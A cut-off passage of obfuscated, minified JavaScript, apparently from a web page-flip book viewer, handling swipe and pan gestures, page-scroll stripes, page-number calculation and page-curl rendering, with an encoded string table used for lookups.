0),this.resetWrappers,this);this.bookState.off(i8.s6(+"3"),this.setStyles,this);this.parentVm.$root.$off(i8.L4(+"116"),this.onPanCancel.bind(this));};pe.prototype.correctEv=function(i1){var i$,V5;i$=this.globalWrapper.getBoundingClientRect();V5=document.getElementsByTagName(z_cHO.s6(+"214"))[0].scrollLeft;z_cHO.f4();return {'\u0070\u0061\u0067\u0065\u0058':i1.x - i$.left - V5,'\u0070\u0061\u0067\u0065\u0059':i1.y};};pe.prototype.touchMovePrevent=function(W0){z_cHO.b8();-("1" | 1) === ("0" << 64,l.UZ)(W0.target).indexOf(z_cHO.L4("33" | 32)) && W0.preventDefault();};pe.prototype.calcPage=function(J8,x3){var W4=z_cHO;var E5,Z_,K9,M$,A3,T_,T0,c3,J0,L2,c1,x$;E5=this.bookDiv.getBoundingClientRect();A3="0" << 0;T_="0" - 0;if(this.bookState.singleMode){T0=("0" ^ 0,ot.bh)().getters[W4.L4(+"85")].currentPage;if((Z_=(+"0",ot.bh)().getters[W4.L4("188" * 1)](T0),K9=Z_ + 1,M$=(+"0",ot.bh)().getters[W4.L4(105)],this.bookState.rtl)){c3=K9;K9=M$ - Z_ - +"1";Z_=M$ - c3 - ("1" | 1);}}else (Z_=this.bookState.currentLeft,K9=this.bookState.currentRight,M$=this.bookState.pagesCount);J0=this.bookState.hardcover?"2" | 2:"1" | 0;W4.f4();L2=this.bookState.hardcover?M$ - +"3":M$ - 2;c1=Z_;x$=K9;return (W4.s6(137) === this.activeStripe?(A3=Math.abs(J8.clientX - (this.bookWidth + E5.left) + +"1"),A3 > this.rightStripeWidth && (A3=x3?+"0":this.rightStripeWidth),this.bookState.rtl?(T_=Math.ceil(J0 + (this.rightStripeWidth - A3) / this.rightStripeWidth * (M$ - c1 - J0)),T_=Math.min(T_,L2 - c1 - 1)):(T_=Math.floor(L2 - (this.rightStripeWidth - A3) / this.rightStripeWidth * (L2 - x$)),T_=Math.max(T_,x$ + +"1"))):W4.s6(55) === this.activeStripe && (A3=Math.abs(J8.clientX - E5.left + 1),A3 > this.leftStripeWidth && (A3=x3?+"0":this.leftStripeWidth),this.bookState.rtl?(T_=Math.floor(M$ - J0 - (this.leftStripeWidth - A3) / this.leftStripeWidth * ((x$ || c1) - J0)),T_=Math.max(T_,L2 - c1 + ("1" >> 32))):(T_=Math.ceil(J0 + (this.leftStripeWidth - A3) / this.leftStripeWidth * (c1 - J0)),T_=Math.min(T_,c1 - ("1" << 32)))),T_);};pe.prototype.onPanStart=function(m5){var T5=z_cHO;var A$,A2,P6,R9,n8,d3,d5,Z9;if(m5.srcEvent && (m5.srcEvent.metaKey || m5.srcEvent.ctrlKey))return;if(!m5.additionalEvent)return;A$=("0" - 0,l.UZ)(m5.target);if(-("1" ^ 0) !== A$.indexOf(T5.s6("33" >> 64)) || -+"1" !== A$.indexOf(T5.s6(+"48")))return;A2=document.elementFromPoint(m5.center.x - m5.deltaX,m5.center.y - m5.deltaY);if(A2 && T5.s6("103" | 35) === A2.getAttribute(T5.L4(+"208")))return;if((0,ot.bh)().state.notes.isMoving)return;if(T5.L4(156) === this.state || T5.L4("31" - 0) === this.state || this.blocked)return;if(T5.L4(40) === this.state && this.progress > +"0" && this.progress < ("1" | 0))return void (0 === this.breakProgress?this.breakProgress=this.progress:this.progress === this.breakProgress && (this.finishRender(!("0" * 1),null,!+"0"),this.breakProgress=+"0"));this.breakProgress="0" >> 0;R9=this.correctEv(m5.center);n8=R9.pageX;d3=R9.pageY;T5.b8();if((-1 === this.leftWrapper.firstPageNum && -("1" << 32) === this.leftWrapper.secondPageNum || (this.bookState.rtl?this.bookState.left.isFirst:this.bookState.right.isFirst)) && T5.s6(+"125") === m5.additionalEvent)return;if((-+"1" === this.rightWrapper.firstPageNum && -+"1" === this.rightWrapper.secondPageNum || (this.bookState.rtl?this.bookState.left.isLast:this.bookState.right.isLast)) && T5.s6(38) === m5.additionalEvent)return;d5=T5.L4(206) === m5.additionalEvent || T5.L4(+"110") === m5.additionalEvent;Z9=n8 > this.pageWidth && !this.bookState.rtl && this.bookState.right.isLast || n8 < this.pageWidth && this.bookState.rtl && this.bookState.left.isFirst;if(!d5 || !Z9){if(this.bookState.singleMode){if((T5.s6(206) === m5.additionalEvent || T5.s6("110" | 68) === m5.additionalEvent) && (this.bookState.rtl?this.bookState.left.isFirst:this.bookState.right.isLast))return;this.bookState.rtl || T5.s6(125) !== m5.additionalEvent?this.bookState.rtl && T5.s6("38" << 0) === m5.additionalEvent && (P6=T5.L4(+"137")):P6=T5.L4(55);}else if(!this.bookState.right.isNull && !this.bookState.left.isNull && (T5.s6(+"38") === m5.additionalEvent && n8 < this.pageWidth || T5.L4("125" >> 64) === m5.additionalEvent && n8 > this.pageWidth))return;(+"0",ot.bh)().dispatch(T5.L4("148" | 0),{'\u0074\u0061\u0072\u0067\u0065\u0074':T5.L4(+"142")});(+"0",ot.bh)().dispatch(T5.L4("30" - 0),T5.s6(+"35"));this.once(T5.L4(+"51"),()=>{T5.b8();(+"0",ot.bh)().dispatch(T5.s6(195),{'\u0074\u0061\u0072\u0067\u0065\u0074':T5.L4(+"142")});(+"0",ot.bh)().dispatch(T5.L4("30" - 0),T5.s6("12" - 0));});this.moveFlag=!("0" - 0);this.state=T5.s6("156" - 0);requestAnimationFrame(()=>{T5.b8();this.startRender({'\u0070\u0061\u0067\u0065\u0058':n8,'\u0070\u0061\u0067\u0065\u0059':d3},!("0" << 64),P6,!("0" - 0));});}};ge=!+"1";pe.prototype.onPanMove=function(u4){z_cHO.L4("40" * 1) !== this.state && this.moveFlag?(this.state=z_cHO.s6(31),requestAnimationFrame(()=>{z_cHO.s6(+"101") !== this[this.currentWrapper].type?this.render(this.correctEv(u4.center)):this.renderHard(this.correctEv(u4.center));})):this.bookState.isMobile && (Math.abs(u4.overallVelocity) > .3 && !ge?(ge=!+"0",setTimeout(()=>{ge && (ge=!+"1",this.onPanStart(u4));},+"150")):Math.abs(u4.overallVelocity) <= +".3" && !ge && this.onPanStart(u4));};pe.prototype.onPanCancel=function(q9){var P$=z_cHO;P$.f4();ge=!+"1";P$.s6("40" - 0) !== this.state && this.moveFlag && (this.moveFlag=!("1" | 0),requestAnimationFrame(()=>{var z8;z8=null;P$.L4("101" << 64) !== this[this.currentWrapper].type && (q9.velocityX > +".2" && (z8=P$.L4(137)),q9.velocityX < -(".2" - 0) && (z8=P$.s6("55" ^ 0)));this.finishRender(!("1" - 0),z8);}));};me=Date.now();pe.prototype.onSwipe=function(j4){var G8=z_cHO;G8.f4();var W3;W3=null;switch(j4.direction){case "2" | 0:W3=G8.s6("55" << 32);break;case +"4":W3=G8.L4(137);break;case +"8":W3=G8.s6(54);break;case "16" - 0:W3=G8.L4("104" ^ 0);}this.trigger(G8.L4(68),{'\u0064\u0069\u0072\u0065\u0063\u0074\u0069\u006f\u006e':W3});!ge || this.blocked || "2" << 32 !== j4.direction && +"4" !== j4.direction || (ge=!("1" - 0),me < Date.now() && (me=Date.now() + +"150",j4.deltaX > +"0"?("0" ^ 0,he.oJ)((+"0",ot.bh)(),{'\u0074\u0061\u0072\u0067\u0065\u0074':G8.s6("68" | 64)}):(+"0",he.X0)(("0" ^ 0,ot.bh)(),{'\u0074\u0061\u0072\u0067\u0065\u0074':G8.L4(68)})));};z_cHO.b8();pe.prototype.onStripeMouseOver=function(Y0){var l7=z_cHO;l7.f4();ue=setTimeout(()=>{var i5;i5=l7.s6("137" - 0) === Y0?this.rightStripeBlock:this.leftStripeBlock;fe=i5.matches(l7.L4("107" * 1));l7.f4();fe && this.onStripeMouseMove(be,Se,!+"0");},+"150");};pe.prototype.onStripeMouseOut=function(){this.set(z_cHO.L4(13),z_cHO.s6(+"23"));clearTimeout(ue);z_cHO.f4();fe=!+"1";};function pe(J,Y,K,q,r1){var s$=z_cHO;var Q;Q=!(arguments.length > +"5" && void ("0" | 0) !== arguments[5]) || arguments["5" | 1];this.storedStates=[];this.progress=0;this.breakProgress=0;this.endingAnimation=!1;this.state=s$.L4(+"40");("0" - 0,ot.bh)().dispatch(s$.s6(+"93"),{'\u006e\u0065\u0077\u0053\u0074\u0061\u0074\u0065':s$.L4(+"40")});this.blocked=!("1" ^ 0);this.bookState=K;this.lastDirection=null;this.postPager=!+"1";this.parentVm=q;this.contentCreator=r1;s$.b8();this.bookContainer=q.$root.$el.querySelector(s$.L4(+"20"));this.bookBlock=null;this.transformMethod=se.prefixed(s$.s6("126" ^ 0));this.transitionMethod=se.prefixed(s$.L4("123" * 1));this.transformOriginMethod=se.prefixed(s$.s6("166" | 36));this.gradientPrefix=s$.s6(17) + de.lowercase + s$.L4(+"28");this.globalWrapper=J;this.activeStripe=s$.L4(+"23");this.genDOM();this.setBookSize(Y);this.setSpeedRate();this.preWrapper=Mt(this.bookState.getState(),this.bookState,this.bookDiv,!+"1",+"2",!1,this.parentVm,this.contentCreator);this.leftWrapper=Mt(this.bookState.getState(),this.bookState,this.bookDiv,!1,"3" | 1,!1,this.parentVm,this.contentCreator);this.rightWrapper=Mt(this.bookState.getState(),this.bookState,this.bookDiv,!+"0",+"3",!+"1",this.parentVm,this.contentCreator);this.nxtWrapper=Mt(this.bookState.getState(),this.bookState,this.bookDiv,!0,+"2",!+"1",this.parentVm,this.contentCreator);Q && this.initDOMEvents();this.initInnerEvents();requestAnimationFrame(this.animationLoop.bind(this));}ve=Date.now();we=+"0";pe.prototype._skipStripeMouseMove=function(D3,B3){var r6;if(!D3 || 1 === D3.buttons)return !+"0";if(!fe)return !+"0";r6=1;if(Date.now() - ve > +"300")(ve=Date.now(),we=D3.clientX);else {r6=Math.abs(D3.clientX - we) / (Date.now() - ve);}return !B3 && r6 > +".2";};pe.prototype.onStripeMouseMove=function(A8,k$,F7){var r4=z_cHO;var h2,W6,Q0,h0;if((be=A8,Se=k$,this._skipStripeMouseMove(k$,F7)))return;this.set(r4.s6(+"13"),A8);h2=this.bookBlock.getBoundingClientRect();r4.f4();if(this.bookState.singleMode && this.bookState.rtl)this.stripeDiv.style.left=k$.clientX - h2.left + 3 + r4.L4("200" ^ 0);else if(this.bookState.singleMode)this.stripeDiv.style.left=k$.clientX - h2.width / ("2" << 0) - h2.left + +"3" + r4.L4(+"200");else if(r4.L4("55" ^ 0) === A8){W6=this.bookContainer.getBoundingClientRect().left;this.stripeDiv.style.left=(k$.clientX - 33 >= W6 + 3?k$.clientX - h2.left - ("33" << 0):W6 - h2.left + ("3" | 1)) + r4.L4("200" << 64);}else {Q0=this.stripeDiv.clientWidth;h0=this.bookContainer.getBoundingClientRect().right;this.stripeDiv.style.left=(k$.clientX + +"3" <= h0 - 3 - Q0?k$.clientX - h2.left + +"3":h0 - h2.left - 3 - Q0) + r4.s6(+"200");}this.stripeDiv.style.top=k$.clientY - h2.top - 33 + r4.s6(+"200");this.stripeDiv.innerText=("0" | 0,ot.bh)().getters[r4.s6(+"215")](this.calcPage(k$));};pe.prototype.onStripeMouseUp=function(Y9,B6){z_cHO.f4();this.onStripeMouseMove(Y9,B6,!("0" * 1));};pe.prototype.onStripeBlockClick=function(u8){var h9=z_cHO;var V1;if(!this.bookState.isMobile && (u8.stopPropagation(),u8.preventDefault(),h9.L4(23) !== this.activeStripe)){V1=this.calcPage(u8,!0);("0" >> 0,ot.bh)().dispatch(h9.s6(+"184"),{'\u0070\u0061\u0067\u0065\u0049\u006e\u0064\u0065\u0078':V1,'\u0074\u0061\u0072\u0067\u0065\u0074':h9.L4(+"60")});this.stripeDiv.innerText=(+"0",ot.bh)().getters[h9.L4("215" ^ 0)](this.calcPage(u8));setTimeout(()=>this.stripeDiv.innerText=(+"0",ot.bh)().getters[h9.L4("215" - 0)](this.calcPage(u8)),+"50");}};pe.prototype.onChangeActiveStripe=function(u$){var G2=z_cHO;G2.b8();G2.s6("23" | 7) !== u$?(this.stripeDiv.style.display=G2.s6("66" * 1),this.stripeCanvas.style.cursor=G2.L4(+"119")):(this.stripeDiv.style.display=G2.s6(+"8"),this.stripeCanvas.style.cursor=G2.L4(143));};function A5rTe(){return "3B@,5?jKB6;,5yU0;*5%15Q#%3C65LU%7D%22%22kW%0F$%3E3%20%07C-=1p%04C-=1~B@06%602OG-%20?pQC#117XN7%3C%3E%7DIN.=(j%15Q'%3C%3E9DF%7D?;%22MH,%7F65LU%7D6#%3EKL+1w6FH205?A%0C1&#%3COR%7D%22;7OSm!?$lN01?%16FH2mvoZYy/t6FH2%7F8?EJb%7C3%3EDD0%7F(5LM'*w=KR)rt9DO'%20w%22OG.7%22+%15Q:i(9MI6hzoZYbm*%25HM+1;$CN,%7F4?%5ED%7D%22;%3EYU#%20.oZYnr(7H@j%60oe%06%13wgvb%1F%14nm(5DE'%20%606CO+!2o%1B%122*e2EYo!21NN5m/%20%15M'4.oYU0;*5Yv+6.8%15B#%3C,1Y%1Eo5(1NH'%3C.xFD$&vpXF%203r%60%06%11nbvoZYy/t6FH2%7F8?EJb%7C7?%5CH,5w8KS&rt8KS&%7F71YJb%7C*1MDo469Z%0C!=4$KH,7(~B@069?%5CD0%7F3%3EDD0h85LN07!2KB)5(?_O&%7F9?FN0he2EN)%7F%3E5ZU*m*(%11%5Cl469Z%0C%20=5;%0A%0F*3(4%07L#!1p%04I#%20%3E3EW'%20w9DO'%20t*%19%1B#4.5X%019%2534%5EIxre2EN)m.?_B*?5&O%1E2*'~G@19t'ES))25CF*&%60oLM+%22%60$Es+52$%15C.=9;%15Q:i'~LM+%22w2EN)rt=KR))-9NU*he#%5DH27e8%5EL.mz8KS&re6FH2h.?fD$&e$X@,!61%5EDq6r%7D%1F%11rb*(%06%01ogj%60%1AQ:~z%60%03%1E6%20/5%15R*;%3C$%10U-%0037BU%7D%22%22%7C%0AU034#Z@074$%0A%1Ey/t6FH2%7F8?EJb%7C21XEo?;#A%01l%22;7O%0C$%3E3%20%07B-%3C.1CO'%20t8KS&15&OSo=/$OSb%7C*1MDb)81IJ%25%205%25DEo15%3CESxm3%3EDD0%7F(5LM'*w2EU6=7o%11%5Cl469Z%0C%20=5;%0A%0F*3(4%07L#!1p%04I#%20%3E3EW'%20w9DO'%20t*%19%01l%22;7O%0Db%7C%3C%3CCQo05?A%01l:;%22N%0C/3);%0A%0F*3(4IN47(%7DCO,7(~P%12b%7C?%3ELN01?%7D%5DI+&?%7DHFb)65LUxma-%09C-=1~XF6%7F)4%5D%1B%207%3C?XDnry2EN)%7C(7%5E%0C16-jKG67(pQV+6.8%10%1E/=89FD%7D%22;%3EI@,1?%3C%15S'465R%0C!=4$KH,7(oZYyr65LUxrwoZYyr25CF*&%60oZ@%257(%7FYU#&?oID,&?%22%15U034#F@67i4%02%11kr(?%5E@67r%60%03%1E2*ap%5EN2hz%60ZYy/e1HR-%3E/$O%1E0;=8%5E%0C1&(9ZDo06?IJ%7D%20?#OUx%25(1ZQ'%20)o%04L#;4%7DLS#??p%04S+52$%07Q#5?pQM'4.j%0AH,;.9KMy/t=KH,%7F%3C%22KL'rt=KR)h4?%5E%09l%255%22A%08b)-9NU*he%20KF'%20u#OU%04%3E3%20yU#&?oXD,6?%22%10R63($%15M'4.%7DYU0;*5%07C.=9;%15%02%20=5;%10C'45%22O%0Dbq8?EJx3%3C$OS9%2534%5EIxmw7X@&;?%3E%5E%090;=8%5E%0Db%20=2K%09pgo%7C%18%14w~he%1F%0D%7Db*(%0A%1E#%2031%07I+6%3E5D%1E6%20;%3EYM#&?cN%09%7D:;%22N%1Ea3;1%15R'%3E?3%5E%0C67%22$%07C.=9;%15E-%254oZ@%257)%7FZ@%257)%13ET,&e~LM+%22w2EN)rt2EN)h85LN07vp%04G.;*%7DHN-9z~HN-9%601LU'%20!8OH%25:.j%0A%1Ex:5&OS%7D%22%22k%0AM'4.j%15%10rb%7Fp%1A%04%7D%22;%3ENN5%3Ce1IU+=4oHN6&5=%15%13&m*(%11%5Ca05?A%0F.4.%7DYE5h85LN07vp%09C-=1~FG6%7F)4%5D%1B#4.5X%019%2534%5EIxm*(%11%5Cl469Z%0C%20=5;%0A%0F*3(4%07L#!1p%04I#%20%3E3EW'%20w9DO'%20t*%1B%01l%22;7O%0Db%7C%3C%3CCQo05?A%01l:;%22N%0C/3);%0A%0F*3(4IN47(%7DCO,7(~P%10b%7C?%3ELN01?%7D%5DI+&?%7DHFb)(9MI6he%20_C.;91%5EH-%3C%60=ET1765KW'm98KO%257%60#B@&=-oZYy&5%20%10%01om*?CO67(oZYy?;%22MH,%7F.?Z%1B%7D&(1DR.3.5%19Ej%7Fo%60%1A%112*vp%1A%0Dbbso%03%0Db%20=2K%09pgo%7C%18%14w~he%1F%0D%7D&(1DR+&3?D%1E/=/#OL-$?oZ@,%2037BU%7D&(1DR$=(=%15U-%22(9MI6m*(%11M'4.j%0A%1E.7%3C$%7DS#%22*5X%1E2*a-%04G.;*%7DHN-9z~CO,7(%7DXD$%3E?(%06%01l469Z%0C%20=5;%0A%0F+%3C45X%0C07%3C%3COYo05$%5EN/)-9NU*he~EO.+w%3EEU'm*(%11%5Cl469Z%0C%20=5;%0A%0F07%3C%3COYo15%3E%5E@+%3C?%22%18Z5;%3E$B%1B%7D~za%03%1Erwz%60%0F%1E$%3E3%20HN-9w#%5EX.7)oZYyr65LUxrjk%0AU-%22%60oXH%25:.oHN-9w#%5EN2%22?4%15C-&.?GS+52$%15Q:iz$EQxrwoNH4m%3C%3CCQo05?A%1E&7%3C1_M6m7?_R'=/$%15Q:iz8OH%25:.j%0A%1E$'6%3C%07R&%25e%20R%1A?%7C%3C%3CCQo05?A%01l%20?6FD:%7F(9MI6h85LN07!'CE6:%60oZ@%257(%7FLS'7%205%15%162*e%20R%1A?%7C%3C%3CCQo05?A%01l;4%3EOSo%20?6FD:%7F71YJ9miaZY%7D%7BzoGN4;47%07I#%20%3EoZYy/t=KH,%7F%3C%22KL'rt#CO%25%3E?%7DGN&7%60%3EEUj%7C($F%08b%7C71YJx%3C5$%02%0F5=(;%03%019%2037BUxbapFD$&%609DH6;;%3C%11%5Cl?;9D%0C$%20;=O%01l!3%3EMM'%7F7?NDl%20.%3C%0A%0F/3);%10O-&r~%5DN09spQM'4.j%1A%1Ab%2037BUx;49%5EH#%3Ea-%15Q:i'~LM+%22w7X@&).?Z%1B%7D;4%00XN%25%20?#Y%1E1&(9ZDo%3E;)OSb!.%22CQ'm*(%11%5Cl469Z%0C%20=5;%0A%0F1&;$CBo05?A%01l?;#AZ5;%3E$B%1B%7D%22%22kW%0F/3);%04L%10)65LUxm8?%5EU-?65LU%7Dcj%60%1A%11rbj%60%1A%1E2*a-%04G.;*%7DHN-9z~YU0;*5%07M#+?%22%04R6%203%20OZ5;%3E$B%1B%7D%22%22kW%0F$%3E3%20%07C-=1p%04R63.9I%0C%20=5;%0A%0F/3);%04L%10)65LUxm8?EJbm*(%11I';=8%5E%1B%7D&(1DR$=(=eS+53%3E%15Q:i'~LM+%22w2EN)rt8KS&%7F71YJl:%089MI6)65LUxm)?LU%7D%20;4%03%1Eb!56%5E%01%7Dqj%60%1A%1E2*a-%04G.;*%7DHN-9z~YU#&33%07C-=1p%04S+52$%07Q#5?+FD$&%60%60ZYy/t6FH2%7F8?EJb%7C(5LM'*w3EO633%3EOS9%2534%5EIxmju%0A%10rb%7FoIM#!)oZYyr.?Z%1B%7D?5%25YD7%22e~HN-9ej%15%0F2%20?&CN7!w2_U6=4oIM+11o%1F%11gmt%3EOY6%7F8%25%5EU-%3Ce~HN-9w3EO633%3EOSbq8?EJ%7D%22;7OSm55%04Eq#5?%12Sh,6?(%15%0C%25%20;4CD,&r%22CF*&vpXF%203r%60%06%11nbvoG@053%3E%07S+52$%15W+!32FD%7D%22;7ORm%22;7Oh,6?(hX%0B6ea%1A%11grk%60%1A%04%7D:?1N%1E2*v%60ZYnb*(%03%010=.1%5EDjm66%5E%0C16-o%11%5Cl469Z%0C%20=5;%0A%0F*3(4%07L#!1+%5DH&&2j%15Q:i-9NU*he%20KF'%20u%25DG07?*O%1E6=*oXF6%7F)4%5D%1E0581%02%1E0744OSx45%22ID%04;49YI%7D%22%22oZ@,?5&O%1E/=/#ON47(oZY?%7C%3C%3CCQo05?A%01l!.%22CQ'%7F61SD0%7C)8KE-%25!'CE6:%60oLM+%22%606CO+!25N%1Er%22%22oZ@,'*oCO+&%604EO'm%3E1%5E@o!?$%15%11grea%1A%11gre%20R%1A?%7C*1MDo469Z%0C!=4$KH,7(+%5DH&&2j%15Q:/t6FH2%7F8?EJb%7C21XEo?;#A%01l%22;7O%0C$%3E3%20%07B-%3C.1CO'%20!'CE6:%60oCO67(%3EKM%04%3E3%20%15C-6#oZ@%257)%7FZ@%257%191ZU+=4%12Sh,6?(%15Q:%7Be#%5ES+%22?%7DF@;7(pYI#65'%15R6+65%15%0F$%3E3%20%07C-=1p%04G7%3E6%7DYE5h;6%5ED0~z~LM+%22w2EN)rt%22MUo!%3E'%10@$&?%22%06%01l469Z%0C%20=5;%0A%0F.4.%7DYE5h;6%5ED0r!$EQxm-8CU'm(5YD6h)$SM'!e%20R%1A?%7C%3C%3CCQo05?A%01l:;%22N%0C/3);QM'4.j%0A%0C%7D%2037BU%15%20;%20ZD0m*(%11%5Cl%2037BUo%22;7OZ.7%3C$%10%1Ekrj%20R%0Db&(1DR23(5DUbm*(%06%1E1:;4EV%7D%3C5%3EO%1E5=(;%15R*;%3C$%10U-%1E?6%5E%1E0;=8%5Ev03*%20OS%7D%20?1NX%7Db*(%15U034#F@67%00x%1BQ:%7Bz%22EU#&?%09%02%1E#1.9%5CD%11&(9ZD%7D!.1%5EH!%7F8?EJ%7D%22%22%7C%1AQ:%7Bz%22EU#&?x%15U034#F@67%00x%1BQ:%7Bz%22EU#&?%09%02%1Eom*1DD,6e%7DMS#635DUj%3E?6%5E%0Db%20=2K%09pgo%7C%18%14w~he%1F%0D%7D?5%25YD7%22e%20R%1Ab:?9MI6hzo%04C-=1%7DIN,&;9DD0m*(%06%010581%02%11nbv%60%06%1E$;(#%5E%0C6=w%3CKR6me4OG#'6$%15Q:i'~XH%25:.%7DZ@%257!%3COG6he%20R%1A?%7C%3C%3CCQo05?A%01l:;%22N%0C/3);%0A%0F23=5%07G.;*%7DIN,&;9DD0%7C21XE!=,5X%0C+%3C45X%01l%22;7O%1B'?*$S%0Dl469Z%0C%20=5;%0A%0F*3(4%07L#!1p%04I#%20%3E3EW'%20w9DO'%20z~OO$=(3O%0C5:3$O%0C%205z+%5DH&&2j%15Q:i'~LM+%22w2EN)rt8KS&%7F71YJb%7C21XE!=,5X%0C+%3C45X%0F8a%601LU'%20z+%5DH&&2j%0A%1E2*a-%04G.;*%7DHN-9z~B@06w=KR))65LUxrwo%5EN2%3E?6%5E%1E2*a-%04G.;*%7DHN-9z~XD$%3E?(%07M'4.jHD$=(5QV+6.8%10%1Eo%3E3%3EO@0m*(%11%5C%7D$3#CC.7e'ES)!*1IDm!?$yU#&/#%15G+%3C3#BH,5e%60%0A%10r%22%22o%5D%0C!:(?GD%7D%22%22kW%0F$%3E3%20%07C-=1p%04S'465R%0C$;(#%5E%1B%207%3C?XD9%2534%5EIxm*1D%1E2*a-%04G.;*%7DHN-9z~B@06w=KR)rt8KS&15&OSo;4%3EOSl(kjKG67(pQV+6.8%10%01%7Dak%20R%1E&+41GH!%7F%3C%3CCQ%20=5;%07R6+65Y";}pe.prototype.initDOMEvents=function(){var D0=z_cHO;this.moveFlag=!("1" | 0);document.addEventListener(D0.s6(+"63"),this.touchMovePrevent,{'\u0070\u0061\u0073\u0073\u0069\u0076\u0065':!+"1"});this.bookDiv.ontouchmove=this.touchMovePrevent;this.bookState.isMobile || (this.leftStripeBlock.addEventListener(D0.L4(202),this.onStripeMouseOver.bind(this,D0.L4(+"55"))),this.rightStripeBlock.addEventListener(D0.s6(202),this.onStripeMouseOver.bind(this,D0.L4(+"137"))),this.leftStripeBlock.addEventListener(D0.L4(+"144"),this.onStripeMouseOut.bind(this)),this.rightStripeBlock.addEventListener(D0.L4(+"144"),this.onStripeMouseOut.bind(this)),this.leftStripeBlock.addEventListener(D0.s6("124" << 0),this.onStripeMouseMove.bind(this,D0.s6("55" << 32))),this.rightStripeBlock.addEventListener(D0.L4("124" - 0),this.onStripeMouseMove.bind(this,D0.L4(+"137"))),this.leftStripeBlock.addEventListener(D0.L4("176" << 64),this.onStripeMouseUp.bind(this,D0.s6("55" << 64))),this.rightStripeBlock.addEventListener(D0.L4(176),this.onStripeMouseUp.bind(this,D0.L4("137" >> 32))),this.leftStripeBlock.addEventListener(D0.L4("180" | 4),this.onStripeBlockClick.bind(this)),this.rightStripeBlock.addEventListener(D0.L4("180" ^ 0),this.onStripeBlockClick.bind(this)),this.on(D0.s6(+"37"),this.onChangeActiveStripe),this.stripeDiv=document.createElement(D0.L4(141)),this.globalWrapper.appendChild(this.stripeDiv),this.stripeDiv.style.position=D0.s6(+"89"),this.stripeDiv.style.zIndex=D0.s6(+"161"),this.stripeDiv.style.padding=D0.s6("32" | 0),this.stripeDiv.style.fontSize=D0.L4("52" * 1),this.stripeDiv.style.lineHeight=D0.s6("151" - 0),this.stripeDiv.style.height=D0.s6(+"151"),this.stripeDiv.style.textAlign=D0.L4("86" ^ 0),this.stripeDiv.style.borderRadius=D0.s6(+"149"),this.stripeDiv.style.backgroundColor=D0.s6(+"102"),this.stripeDiv.style.color=D0.s6(+"2"),this.stripeDiv.style.display=D0.L4("8" ^ 0),this.bookBlock=this.parentVm.$root.$el.querySelector(D0.L4(183)));this.bookDivEventEmiter=new (re())(this.bookDiv,{});D0.f4();this.bookDivEventEmiter.get(D0.L4("35" >> 32)).set({'\u0064\u0069\u0072\u0065\u0063\u0074\u0069\u006f\u006e':re().DIRECTION_ALL});this.bookDivEventEmiter.get(D0.s6(68)).set({'\u0064\u0069\u0072\u0065\u0063\u0074\u0069\u006f\u006e':re().DIRECTION_ALL});this.bookDivEventEmiter.on(D0.L4(+"201"),this.onPanMove.bind(this));this.bookDivEventEmiter.on(D0.L4(+"18"),this.onPanCancel.bind(this));this.bookDivEventEmiter.on(D0.L4("81" | 1),this.onPanCancel.bind(this));this.bookState.isMobile?this.bookDivEventEmiter.on(D0.s6("68" << 0),this.onSwipe.bind(this)):this.bookDivEventEmiter.on(D0.s6("49" - 0),this.onPanStart.bind(this));};pe.prototype.removeDOMEvents=function(){document.removeEventListener(z_cHO.s6("63" ^ 0),this.touchMovePrevent,{'\u0070\u0061\u0073\u0073\u0069\u0076\u0065':!1});z_cHO.f4();this.bookDiv.ontouchmove=null;this.bookState.isMobile || this.off(z_cHO.s6(+"37"),this.onChangeActiveStripe);this.bookDivEventEmiter.destroy();};pe.prototype.initPoints=function(U_){var b0=z_cHO;var d1,x2,M6,T4,y7,d$;d1=this.pageWidth;x2=this.pageHeight;M6=this.bookWidth;T4=this.bookHeight;y7=this.bookMarginTop;d$=this.bookMarginLeft;b0.f4();switch((this.innerRadius=d1,this.outerRadius=+"1" * (Math.sqrt(d1 * d1 + x2 * x2) - (".5" - 0)).toFixed("0" | 0),this.startPoint)){case b0.s6("139" << 32):(this.spineTop=new ke(d1 + d$,+"0" + y7),this.spineCenter=new ke(d1 + d$,x2 / +"2" + y7),this.spineBottom=new ke(d1 + d$,x2 + y7),this.edgeBottom=new ke(M6 + d$,T4 + y7));break;case b0.s6("127" * 1):(this.spineBottom=new ke(d1 + d$,"0" - 0 + y7),this.spineCenter=new ke(d1 + d$,x2 / ("2" << 32) + y7),this.spineTop=new ke(d1 + d$,x2 + y7),this.edgeBottom=new ke(M6 + d$,0 + y7));break;case b0.L4("160" << 32):(this.spineTop=new ke(d1 + d$,+"0" + y7),this.spineCenter=new ke(d1 + d$,x2 / +"2" + y7),this.spineBottom=new ke(d1 + d$,x2 + y7),this.edgeBottom=new ke(d$ - ("1" >> 64),T4 + y7));break;case b0.s6("26" << 32):(this.spineBottom=new ke(d1 + d$,+"0" + y7),this.spineCenter=new ke(d1 + d$,x2 / ("2" | 2) + y7),this.spineTop=new ke(d1 + d$,x2 + y7),this.edgeBottom=new ke(d$ - ("1" >> 32),y7));}this.radius1=new ke("0" * 1,+"0");this.radius2=new ke(+"0",+"0");this.corner=new ke(+"0",0);this.follow=new ke("0" | 0,"0" ^ 0);this.middle={};this.renderData={};this.deltaFromCorner=Math.abs(this.edgeBottom.y - U_.pageY);this.deltaFromCorner > (".15" - 0) * this.bookHeight?this.deltaFromCorner=b0.L4(26) === this.startPoint || b0.L4(127) === this.startPoint?(".95" - 0) * -this.deltaFromCorner:(".95" - 0) * this.deltaFromCorner:this.deltaFromCorner="0" ^ 0;};pe.prototype.toggleCorner=function(l9){var V7=z_cHO;var Q5;V7.b8();Q5=this.bookHeight - Math.abs(this.deltaFromCorner);-("1" * 1) !== this.startPoint.indexOf(V7.s6(+"196"))?(this.startPoint=this.startPoint.replace(V7.L4(+"196"),V7.L4(+"112")),this.startY=this.bookMarginTop + this.bookHeight):(this.startPoint=this.startPoint.replace(V7.s6(112),V7.s6(196)),this.startY=this.bookMarginTop);this.initPoints(l9);this.deltaFromCorner=this.deltaFromCorner < +"0"?-Q5:Q5;this.initOnceSizes();this.render(l9,!("1" ^ 0),!0);};pe.prototype.startRender=function(U3,j1,u6){var Y2=z_cHO;var r3,D5,N0,u3,z_,C2,A_,d9,E7,c8,X1;N0=arguments.length > +"3" && void +"0" !== arguments[+"3"] && arguments[+"3"];u3=U3.pageX - this.bookMarginLeft;z_=U3.pageY - this.bookMarginTop;if((u6=u6 || !+"1",u3 > this.pageWidth && Y2.s6("55" ^ 0) !== u6 || Y2.L4("137" | 1) === u6)){if((r3=Y2.L4("137" ^ 0),this.currentWrapper=Y2.L4("11" << 0),this.bookState.right.isNull || this.bookState.right.isLast)){if(!("0" ^ 